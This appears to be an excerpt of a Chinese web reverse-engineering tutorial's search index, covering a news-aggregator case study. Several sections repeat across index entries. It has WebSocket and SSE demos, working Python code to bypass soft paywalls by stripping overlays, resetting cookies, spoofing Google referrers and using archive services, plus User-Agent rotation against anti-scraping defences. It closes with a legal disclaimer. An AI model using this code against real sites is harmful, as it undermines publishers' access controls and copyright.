require(\"ws\"); const wss = new WebSocket.Server({ port: 8080 }); // 模拟新闻源 function getLatestNews() { return { id: Date.now(), title: `Breaking News at ${new Date().toLocaleTimeString()}`, content: \"Lorem ipsum dolor sit amet...\", timestamp: Date.now(), }; } // 广播给所有客户端 wss.on(\"connection\", (ws) =\u003e { console.log(\"New client connected\"); // 每 5 秒推送一条新闻 const interval = setInterval(() =\u003e { const news = getLatestNews(); ws.send(JSON.stringify(news)); }, 5000); ws.on(\"close\", () =\u003e { clearInterval(interval); console.log(\"Client disconnected\"); }); }); 客户端（Python） import websocket import json import threading class RealtimeNewsClient: def __init__(self, ws_url): self.ws_url = ws_url self.ws = None self.news_callback = None def on_message(self, ws, message): \"\"\"收到消息时的回调\"\"\" try: news = json.loads(message) print(f\"[{news['timestamp']}] {news['title']}\") if self.news_callback: self.news_callback(news) except Exception as e: print(f\"Error parsing message: {e}\") def on_error(self, ws, error): \"\"\"错误回调\"\"\" print(f\"WebSocket error: {error}\") def on_close(self, ws, close_status_code, close_msg): \"\"\"连接关闭回调\"\"\" print(\"WebSocket connection closed\") def on_open(self, ws): \"\"\"连接建立回调\"\"\" print(\"WebSocket connection opened\") def connect(self, callback=None): \"\"\"连接到 WebSocket 服务器\"\"\" self.news_callback = callback self.ws = websocket.WebSocketApp( self.ws_url, on_open=self.on_open, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close ) # 在单独的线程中运行 wst = threading.Thread(target=self.ws.run_forever) wst.daemon = True wst.start() def send(self, message): \"\"\"发送消息\"\"\" if self.ws: self.ws.send(json.dumps(message)) def close(self): \"\"\"关闭连接\"\"\" if self.ws: self.ws.close() # 使用示例 def handle_news(news): \"\"\"处理接收到的新闻\"\"\" print(f\"Received: {news['title']}\") # 保存到数据库、发送通知等 client = RealtimeNewsClient('ws://localhost:8080') client.connect(callback=handle_news) # 保持运行 import time try: while True: time.sleep(1) except KeyboardInterrupt: client.close() ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:4:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#websocket-实时推送"},{"categories":null,"collections":null,"content":"WebSocket 实时推送 服务端（Node.js） const WebSocket = require(\"ws\"); const wss = new WebSocket.Server({ port: 8080 }); // 模拟新闻源 function getLatestNews() { return { id: Date.now(), title: `Breaking News at ${new Date().toLocaleTimeString()}`, content: \"Lorem ipsum dolor sit amet...\", timestamp: Date.now(), }; } // 广播给所有客户端 wss.on(\"connection\", (ws) =\u003e { console.log(\"New client connected\"); // 每 5 秒推送一条新闻 const interval = setInterval(() =\u003e { const news = getLatestNews(); ws.send(JSON.stringify(news)); }, 5000); ws.on(\"close\", () =\u003e { clearInterval(interval); console.log(\"Client disconnected\"); }); }); 客户端（Python） import websocket import json import threading class RealtimeNewsClient: def __init__(self, ws_url): self.ws_url = ws_url self.ws = None self.news_callback = None def on_message(self, ws, message): \"\"\"收到消息时的回调\"\"\" try: news = json.loads(message) print(f\"[{news['timestamp']}] {news['title']}\") if self.news_callback: self.news_callback(news) except Exception as e: print(f\"Error parsing message: {e}\") def on_error(self, ws, error): \"\"\"错误回调\"\"\" print(f\"WebSocket error: {error}\") def on_close(self, ws, close_status_code, close_msg): \"\"\"连接关闭回调\"\"\" print(\"WebSocket connection closed\") def on_open(self, ws): \"\"\"连接建立回调\"\"\" print(\"WebSocket connection opened\") def connect(self, callback=None): \"\"\"连接到 WebSocket 服务器\"\"\" self.news_callback = callback self.ws = websocket.WebSocketApp( self.ws_url, on_open=self.on_open, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close ) # 在单独的线程中运行 wst = threading.Thread(target=self.ws.run_forever) wst.daemon = True wst.start() def send(self, message): \"\"\"发送消息\"\"\" if self.ws: self.ws.send(json.dumps(message)) def close(self): \"\"\"关闭连接\"\"\" if self.ws: self.ws.close() # 使用示例 def handle_news(news): \"\"\"处理接收到的新闻\"\"\" print(f\"Received: {news['title']}\") # 保存到数据库、发送通知等 client = RealtimeNewsClient('ws://localhost:8080') client.connect(callback=handle_news) # 保持运行 import time try: while True: time.sleep(1) except KeyboardInterrupt: client.close() ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:4:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#服务端nodejs"},{"categories":null,"collections":null,"content":"WebSocket 实时推送 服务端（Node.js） const WebSocket = require(\"ws\"); const wss = new WebSocket.Server({ port: 8080 }); // 模拟新闻源 function getLatestNews() { return { id: Date.now(), title: `Breaking News at ${new Date().toLocaleTimeString()}`, content: \"Lorem ipsum dolor sit amet...\", timestamp: Date.now(), }; } // 广播给所有客户端 wss.on(\"connection\", (ws) =\u003e { console.log(\"New client connected\"); // 每 5 秒推送一条新闻 const interval = setInterval(() =\u003e { const news = getLatestNews(); ws.send(JSON.stringify(news)); }, 5000); ws.on(\"close\", () =\u003e { clearInterval(interval); console.log(\"Client disconnected\"); }); }); 客户端（Python） import websocket import json import threading class RealtimeNewsClient: def __init__(self, ws_url): self.ws_url = ws_url self.ws = None self.news_callback = None def on_message(self, ws, message): \"\"\"收到消息时的回调\"\"\" try: news = json.loads(message) print(f\"[{news['timestamp']}] {news['title']}\") if self.news_callback: self.news_callback(news) except Exception as e: print(f\"Error parsing message: {e}\") def on_error(self, ws, error): \"\"\"错误回调\"\"\" print(f\"WebSocket error: {error}\") def on_close(self, ws, close_status_code, close_msg): \"\"\"连接关闭回调\"\"\" print(\"WebSocket connection closed\") def on_open(self, ws): \"\"\"连接建立回调\"\"\" print(\"WebSocket connection opened\") def connect(self, callback=None): \"\"\"连接到 WebSocket 服务器\"\"\" self.news_callback = callback self.ws = websocket.WebSocketApp( self.ws_url, on_open=self.on_open, on_message=self.on_message, on_error=self.on_error, on_close=self.on_close ) # 在单独的线程中运行 wst = threading.Thread(target=self.ws.run_forever) wst.daemon = True wst.start() def send(self, message): \"\"\"发送消息\"\"\" if self.ws: self.ws.send(json.dumps(message)) def close(self): \"\"\"关闭连接\"\"\" if self.ws: self.ws.close() # 使用示例 def handle_news(news): \"\"\"处理接收到的新闻\"\"\" print(f\"Received: {news['title']}\") # 保存到数据库、发送通知等 client = RealtimeNewsClient('ws://localhost:8080') client.connect(callback=handle_news) # 保持运行 import time try: while True: time.sleep(1) except KeyboardInterrupt: client.close() ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:4:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#客户端python"},{"categories":null,"collections":null,"content":"Server-Sent Events (SSE) 服务端（Python Flask） from flask import Flask, Response import time import json app = Flask(__name__) def generate_news_stream(): \"\"\"生成新闻流\"\"\" while True: news = { 'id': int(time.time()), 'title': f'Breaking News at {time.strftime(\"%H:%M:%S\")}', 'content': 'Lorem ipsum dolor sit amet...', 'timestamp': int(time.time()) } # SSE 格式 yield f\"data: {json.dumps(news)}\\n\\n\" time.sleep(5) @app.route('/news/stream') def news_stream(): \"\"\"SSE 端点\"\"\" return Response( generate_news_stream(), mimetype='text/event-stream', headers={ 'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no' } ) if __name__ == '__main__': app.run(debug=True, threaded=True) 客户端（Python） import requests import json class SSENewsClient: def __init__(self, sse_url): self.sse_url = sse_url def listen(self, callback): \"\"\"监听 SSE 事件\"\"\" headers = { 'Accept': 'text/event-stream', 'Cache-Control': 'no-cache' } response = requests.get( self.sse_url, stream=True, headers=headers ) # 逐行读取 for line in response.iter_lines(): if line: decoded_line = line.decode('utf-8') # SSE 事件格式: \"data: {...}\" if decoded_line.startswith('data:'): data = decoded_line[5:].strip() try: news = json.loads(data) callback(news) except Exception as e: print(f\"Error parsing SSE data: {e}\") # 使用示例 def handle_sse_news(news): print(f\"[SSE] {news['title']}\") client = SSENewsClient('http://localhost:5000/news/stream') client.listen(callback=handle_sse_news) ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:4:3","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#server-sent-events-sse"},{"categories":null,"collections":null,"content":"Server-Sent Events (SSE) 服务端（Python Flask） from flask import Flask, Response import time import json app = Flask(__name__) def generate_news_stream(): \"\"\"生成新闻流\"\"\" while True: news = { 'id': int(time.time()), 'title': f'Breaking News at {time.strftime(\"%H:%M:%S\")}', 'content': 'Lorem ipsum dolor sit amet...', 'timestamp': int(time.time()) } # SSE 格式 yield f\"data: {json.dumps(news)}\\n\\n\" time.sleep(5) @app.route('/news/stream') def news_stream(): \"\"\"SSE 端点\"\"\" return Response( generate_news_stream(), mimetype='text/event-stream', headers={ 'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no' } ) if __name__ == '__main__': app.run(debug=True, threaded=True) 客户端（Python） import requests import json class SSENewsClient: def __init__(self, sse_url): self.sse_url = sse_url def listen(self, callback): \"\"\"监听 SSE 事件\"\"\" headers = { 'Accept': 'text/event-stream', 'Cache-Control': 'no-cache' } response = requests.get( self.sse_url, stream=True, headers=headers ) # 逐行读取 for line in response.iter_lines(): if line: decoded_line = line.decode('utf-8') # SSE 事件格式: \"data: {...}\" if decoded_line.startswith('data:'): data = decoded_line[5:].strip() try: news = json.loads(data) callback(news) except Exception as e: print(f\"Error parsing SSE data: {e}\") # 使用示例 def handle_sse_news(news): print(f\"[SSE] {news['title']}\") client = SSENewsClient('http://localhost:5000/news/stream') client.listen(callback=handle_sse_news) ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:4:3","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#服务端python-flask"},{"categories":null,"collections":null,"content":"Server-Sent Events (SSE) 服务端（Python Flask） from flask import Flask, Response import time import json app = Flask(__name__) def generate_news_stream(): \"\"\"生成新闻流\"\"\" while True: news = { 'id': int(time.time()), 'title': f'Breaking News at {time.strftime(\"%H:%M:%S\")}', 'content': 'Lorem ipsum dolor sit amet...', 'timestamp': int(time.time()) } # SSE 格式 yield f\"data: {json.dumps(news)}\\n\\n\" time.sleep(5) @app.route('/news/stream') def news_stream(): \"\"\"SSE 端点\"\"\" return Response( generate_news_stream(), mimetype='text/event-stream', headers={ 'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no' } ) if __name__ == '__main__': app.run(debug=True, threaded=True) 客户端（Python） import requests import json class SSENewsClient: def __init__(self, sse_url): self.sse_url = sse_url def listen(self, callback): \"\"\"监听 SSE 事件\"\"\" headers = { 'Accept': 'text/event-stream', 'Cache-Control': 'no-cache' } response = requests.get( self.sse_url, stream=True, headers=headers ) # 逐行读取 for line in response.iter_lines(): if line: decoded_line = line.decode('utf-8') # SSE 事件格式: \"data: {...}\" if decoded_line.startswith('data:'): data = decoded_line[5:].strip() try: news = json.loads(data) callback(news) except Exception as e: print(f\"Error parsing SSE data: {e}\") # 使用示例 def handle_sse_news(news): print(f\"[SSE] {news['title']}\") client = SSENewsClient('http://localhost:5000/news/stream') client.listen(callback=handle_sse_news) ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:4:3","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#客户端python-1"},{"categories":null,"collections":null,"content":"案例 4: 付费墙绕过与内容提取 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:5:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#案例-4-付费墙绕过与内容提取"},{"categories":null,"collections":null,"content":"背景 许多新闻网站使用付费墙（Paywall）限制内容访问。常见类型包括硬付费墙和软付费墙。 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:5:1","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#背景-3"},{"categories":null,"collections":null,"content":"软付费墙类型 1. JavaScript 隐藏内容 内容在 HTML 中，但用 CSS/JS 隐藏: \u003cdiv class=\"article-content\"\u003e \u003cp\u003eFirst paragraph visible...\u003c/p\u003e \u003cdiv class=\"paywall-blur\"\u003e \u003cp\u003ePremium content hidden here...\u003c/p\u003e \u003cp\u003eMore premium content...\u003c/p\u003e \u003c/div\u003e \u003c/div\u003e \u003cdiv class=\"paywall-overlay\"\u003e \u003ch3\u003eSubscribe to read more\u003c/h3\u003e \u003cbutton\u003eSubscribe Now\u003c/button\u003e \u003c/div\u003e \u003cstyle\u003e .paywall-blur { filter: blur(5px); user-select: none; } \u003c/style\u003e 绕过方法: from bs4 import BeautifulSoup import requests def bypass_soft_paywall(url): \"\"\"绕过软付费墙\"\"\" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 移除付费墙遮罩 for overlay in soup.find_all(class_='paywall-overlay'): overlay.decompose() # 移除模糊效果（通过提取原始内容） blurred = soup.find_all(class_='paywall-blur') for element in blurred: element['class'] = [] # 移除 class # 提取完整文本 article = soup.find(class_='article-content') return article.get_text(strip=True) if article else None # 使用示例 content = bypass_soft_paywall('https://news.example.com/premium-article') print(content) 2. Cookie 限制 限制免费文章数量（通过 Cookie 追踪）: class PaywallBypass: def __init__(self): self.session = requests.Session() def clear_cookies(self): \"\"\"清除 cookies 重置计数\"\"\" self.session.cookies.clear() def use_incognito_headers(self): \"\"\"使用隐身模式请求头\"\"\" self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.google.com/', 'DNT': '1' }) def get_article(self, url): \"\"\"获取文章（绕过 cookie 限制）\"\"\" self.clear_cookies() self.use_incognito_headers() response = self.session.get(url) return response.text # 使用示例 bypass = PaywallBypass() content = bypass.get_article('https://news.example.com/article/123') 3. Google/Facebook Referrer 绕过 某些网站允许从搜索引擎/社交媒体来的流量: def bypass_with_referrer(url): \"\"\"使用 Referrer 绕过付费墙\"\"\" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.google.com/' # 或 'https://t.co/' } response = requests.get(url, headers=headers) return response.text # 使用示例 content = bypass_with_referrer('https://news.example.com/article/123') ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:5:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#软付费墙类型"},{"categories":null,"collections":null,"content":"软付费墙类型 1. JavaScript 隐藏内容 内容在 HTML 中，但用 CSS/JS 隐藏: First paragraph visible... Premium content hidden here... More premium content... Subscribe to read more Subscribe Now 绕过方法: from bs4 import BeautifulSoup import requests def bypass_soft_paywall(url): \"\"\"绕过软付费墙\"\"\" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 移除付费墙遮罩 for overlay in soup.find_all(class_='paywall-overlay'): overlay.decompose() # 移除模糊效果（通过提取原始内容） blurred = soup.find_all(class_='paywall-blur') for element in blurred: element['class'] = [] # 移除 class # 提取完整文本 article = soup.find(class_='article-content') return article.get_text(strip=True) if article else None # 使用示例 content = bypass_soft_paywall('https://news.example.com/premium-article') print(content) 2. Cookie 限制 限制免费文章数量（通过 Cookie 追踪）: class PaywallBypass: def __init__(self): self.session = requests.Session() def clear_cookies(self): \"\"\"清除 cookies 重置计数\"\"\" self.session.cookies.clear() def use_incognito_headers(self): \"\"\"使用隐身模式请求头\"\"\" self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.google.com/', 'DNT': '1' }) def get_article(self, url): \"\"\"获取文章（绕过 cookie 限制）\"\"\" self.clear_cookies() self.use_incognito_headers() response = self.session.get(url) return response.text # 使用示例 bypass = PaywallBypass() content = bypass.get_article('https://news.example.com/article/123') 3. Google/Facebook Referrer 绕过 某些网站允许从搜索引擎/社交媒体来的流量: def bypass_with_referrer(url): \"\"\"使用 Referrer 绕过付费墙\"\"\" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.google.com/' # 或 'https://t.co/' } response = requests.get(url, headers=headers) return response.text # 使用示例 content = bypass_with_referrer('https://news.example.com/article/123') ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:5:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#1-javascript-隐藏内容"},{"categories":null,"collections":null,"content":"软付费墙类型 1. JavaScript 隐藏内容 内容在 HTML 中，但用 CSS/JS 隐藏: First paragraph visible... Premium content hidden here... More premium content... Subscribe to read more Subscribe Now 绕过方法: from bs4 import BeautifulSoup import requests def bypass_soft_paywall(url): \"\"\"绕过软付费墙\"\"\" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 移除付费墙遮罩 for overlay in soup.find_all(class_='paywall-overlay'): overlay.decompose() # 移除模糊效果（通过提取原始内容） blurred = soup.find_all(class_='paywall-blur') for element in blurred: element['class'] = [] # 移除 class # 提取完整文本 article = soup.find(class_='article-content') return article.get_text(strip=True) if article else None # 使用示例 content = bypass_soft_paywall('https://news.example.com/premium-article') print(content) 2. Cookie 限制 限制免费文章数量（通过 Cookie 追踪）: class PaywallBypass: def __init__(self): self.session = requests.Session() def clear_cookies(self): \"\"\"清除 cookies 重置计数\"\"\" self.session.cookies.clear() def use_incognito_headers(self): \"\"\"使用隐身模式请求头\"\"\" self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.google.com/', 'DNT': '1' }) def get_article(self, url): \"\"\"获取文章（绕过 cookie 限制）\"\"\" self.clear_cookies() self.use_incognito_headers() response = self.session.get(url) return response.text # 使用示例 bypass = PaywallBypass() content = bypass.get_article('https://news.example.com/article/123') 3. Google/Facebook Referrer 绕过 某些网站允许从搜索引擎/社交媒体来的流量: def bypass_with_referrer(url): \"\"\"使用 Referrer 绕过付费墙\"\"\" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.google.com/' # 或 'https://t.co/' } response = requests.get(url, headers=headers) return response.text # 使用示例 content = bypass_with_referrer('https://news.example.com/article/123') ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:5:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#2-cookie-限制"},{"categories":null,"collections":null,"content":"软付费墙类型 1. JavaScript 隐藏内容 内容在 HTML 中，但用 CSS/JS 隐藏: First paragraph visible... Premium content hidden here... More premium content... Subscribe to read more Subscribe Now 绕过方法: from bs4 import BeautifulSoup import requests def bypass_soft_paywall(url): \"\"\"绕过软付费墙\"\"\" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 移除付费墙遮罩 for overlay in soup.find_all(class_='paywall-overlay'): overlay.decompose() # 移除模糊效果（通过提取原始内容） blurred = soup.find_all(class_='paywall-blur') for element in blurred: element['class'] = [] # 移除 class # 提取完整文本 article = soup.find(class_='article-content') return article.get_text(strip=True) if article else None # 使用示例 content = bypass_soft_paywall('https://news.example.com/premium-article') print(content) 2. Cookie 限制 限制免费文章数量（通过 Cookie 追踪）: class PaywallBypass: def __init__(self): self.session = requests.Session() def clear_cookies(self): \"\"\"清除 cookies 重置计数\"\"\" self.session.cookies.clear() def use_incognito_headers(self): \"\"\"使用隐身模式请求头\"\"\" self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.google.com/', 'DNT': '1' }) def get_article(self, url): \"\"\"获取文章（绕过 cookie 限制）\"\"\" self.clear_cookies() self.use_incognito_headers() response = self.session.get(url) return response.text # 使用示例 bypass = PaywallBypass() content = bypass.get_article('https://news.example.com/article/123') 3. Google/Facebook Referrer 绕过 某些网站允许从搜索引擎/社交媒体来的流量: def bypass_with_referrer(url): \"\"\"使用 Referrer 绕过付费墙\"\"\" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Referer': 'https://www.google.com/' # 或 'https://t.co/' } response = requests.get(url, headers=headers) return response.text # 使用示例 content = bypass_with_referrer('https://news.example.com/article/123') ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:5:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#3-googlefacebook-referrer-绕过"},{"categories":null,"collections":null,"content":"Archive.is / Web Archive 绕过 import requests from urllib.parse import quote class ArchiveBypass: def __init__(self): self.archive_api = \"https://archive.is/submit/\" self.wayback_api = \"https://web.archive.org/save/\" def archive_is(self, url): \"\"\"使用 Archive.is 存档并获取内容\"\"\" # 提交存档请求 data = {'url': url} response = requests.post(self.archive_api, data=data, allow_redirects=False) # 获取存档 URL archive_url = response.headers.get('Location') if archive_url: # 获取存档内容 archive_content = requests.get(archive_url).text return archive_content else: return None def wayback_machine(self, url): \"\"\"使用 Wayback Machine\"\"\" # 保存快照 save_url = f\"{self.wayback_api}{url}\" requests.get(save_url) # 获取最新快照 snapshot_url = f\"https://web.archive.org/web/{url}\" response = requests.get(snapshot_url) return response.text # 使用示例 bypass = ArchiveBypass() content = bypass.archive_is('https://news.example.com/premium-article') ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:5:3","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#archiveis--web-archive-绕过"},{"categories":null,"collections":null,"content":"案例 5: 反爬虫对抗与内容去重 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:6:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#案例-5-反爬虫对抗与内容去重"},{"categories":null,"collections":null,"content":"背景 新闻聚合网站需要处理大量内容，同时避免被源网站封禁。 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:6:1","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#背景-4"},{"categories":null,"collections":null,"content":"User-Agent 轮换 import random class UserAgentRotator: def __init__(self): self.user_agents = [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15', 'Mozilla/5.0 (iPad; CPU OS 14_6 like Mac OS X) AppleWebKit/605.1.15' ] def get_random_ua(self): \"\"\"获取随机 User-Agent\"\"\" return random.choice(self.user_agents) def make_request(self, url): \"\"\"使用随机 UA 发送请求\"\"\" headers = {'User-Agent': self.get_random_ua()} response = requests.get(url, headers=headers) return response.text ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:6:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#user-agent-轮换"},{"categories":null,"collections":null,"content":"内容去重（SimHash） import hashlib from collections import defaultdict class ContentDeduplicator: def __init__(self, threshold=3): \"\"\" threshold: 汉明距离阈值（越小越严格） \"\"\" self.threshold = threshold self.seen_hashes = {} def simhash(self, text, hashbits=64): \"\"\"计算文本的 SimHash\"\"\" # 分词（简化版本） tokens = text.lower().split() # 词频统计 freq = defaultdict(int) for token in tokens: freq[token] += 1 # 初始化向量 vector = [0] * hashbits for token, weight in freq.items(): # 计算 token 的 hash h = int(hashlib.md5(token.encode()).hexdigest(), 16) for i in range(hashbits): # 检查第 i 位是否为 1 if h \u0026 (1 \u003c\u003c i): vector[i] += weight else: vector[i] -= weight # 生成 SimHash fingerprint = 0 for i in range(hashbits): if vector[i] \u003e 0: fingerprint |= (1 \u003c\u003c i) return fingerprint def hamming_distance(self, hash1, hash2): \"\"\"计算汉明距离\"\"\" x = hash1 ^ hash2 distance = 0 while x: distance += 1 x \u0026= x - 1 return distance def is_duplicate(self, text, article_id): \"\"\"检查文章是否重复\"\"\" fingerprint = self.simhash(text) # 检查是否与已存在的文章相似 for existing_id, existing_hash in self.seen_hashes.items(): distance = self.hamming_distance(fingerprint, existing_hash) if distance \u003c= self.threshold: return True, existing_id # 保存新文章的 hash self.seen_hashes[article_id] = fingerprint return False, None # 使用示例 dedup = ContentDeduplicator(threshold=3) articles = [ {'id': 1, 'text': 'Breaking news: AI makes major breakthrough in language processing'}, {'id': 2, 'text': 'Breaking news: AI makes significant breakthrough in language processing'}, {'id': 3, 'text': 'Weather forecast shows sunny skies ahead'}, ] for article in articles: is_dup, original_id = dedup.is_duplicate(article['text'], article['id']) if is_dup: print(f\"Article {article['id']} is duplicate of {original_id}\") else: print(f\"Article {article['id']} is unique\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:6:3","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#内容去重simhash"},{"categories":null,"collections":null,"content":"智能限流 import time from collections import deque class RateLimiter: def __init__(self, max_requests, time_window): \"\"\" max_requests: 时间窗口内的最大请求数 time_window: 时间窗口（秒） \"\"\" self.max_requests = max_requests self.time_window = time_window self.requests = deque() def wait_if_needed(self): \"\"\"如果需要，等待直到可以发送请求\"\"\" now = time.time() # 移除超出时间窗口的请求 while self.requests and self.requests[0] \u003c now - self.time_window: self.requests.popleft() # 如果达到限制，等待 if len(self.requests) \u003e= self.max_requests: sleep_time = self.requests[0] + self.time_window - now if sleep_time \u003e 0: print(f\"Rate limit reached, waiting {sleep_time:.2f} seconds...\") time.sleep(sleep_time) # 记录本次请求 self.requests.append(time.time()) def request(self, url): \"\"\"发送受限流控制的请求\"\"\" self.wait_if_needed() response = requests.get(url) return response # 使用示例 limiter = RateLimiter(max_requests=10, time_window=60) # 每分钟最多 10 次 for i in range(20): response = limiter.request(f'https://news.example.com/article/{i}') print(f\"Fetched article {i}\") ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:6:4","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#智能限流"},{"categories":null,"collections":null,"content":"防护与对抗总结 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:7:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#防护与对抗总结"},{"categories":null,"collections":null,"content":"新闻聚合平台防护 付费墙: JavaScript 隐藏、Cookie 限制、订阅验证 反爬虫: User-Agent 检测、频率限制、CAPTCHA 内容保护: 反调试、混淆、水印 API 限流: Token 验证、IP 限制 版权保护: DMCA 通知、法律行动 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:7:1","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#新闻聚合平台防护"},{"categories":null,"collections":null,"content":"对抗策略 付费墙绕过: Referrer 欺骗、Archive 存档、浏览器扩展 智能爬取: UA 轮换、代理池、延迟控制 内容提取: newspaper3k、Readability、自定义解析器 去重算法: SimHash、MinHash、LSH 分布式采集: 多节点、任务队列、增量更新 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:7:2","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#对抗策略"},{"categories":null,"collections":null,"content":"法律与道德声明 本文仅用于技术研究和教育目的。未经授权爬取和绕过付费墙可能违反: 网站服务条款 (ToS) 版权法 (Copyright Law) 计算机欺诈和滥用法 (CFAA) 数字千年版权法 (DMCA) 请仅在授权环境下进行测试，尊重内容创作者的权益和版权。 ","date":"2025-06-14","objectID":"/reverse_engineering/web/05-case-studies/case_news_aggregator/:8:0","tags":["Web","浏览器指纹","签名验证","代理池","案例分析","Hook"],"title":"新闻聚合网站","uri":"/reverse_engineering/web/05-case-studies/case_news_aggregator/#法律与道德声明"},{"categories":null,"collections":null,"content":"工具推荐 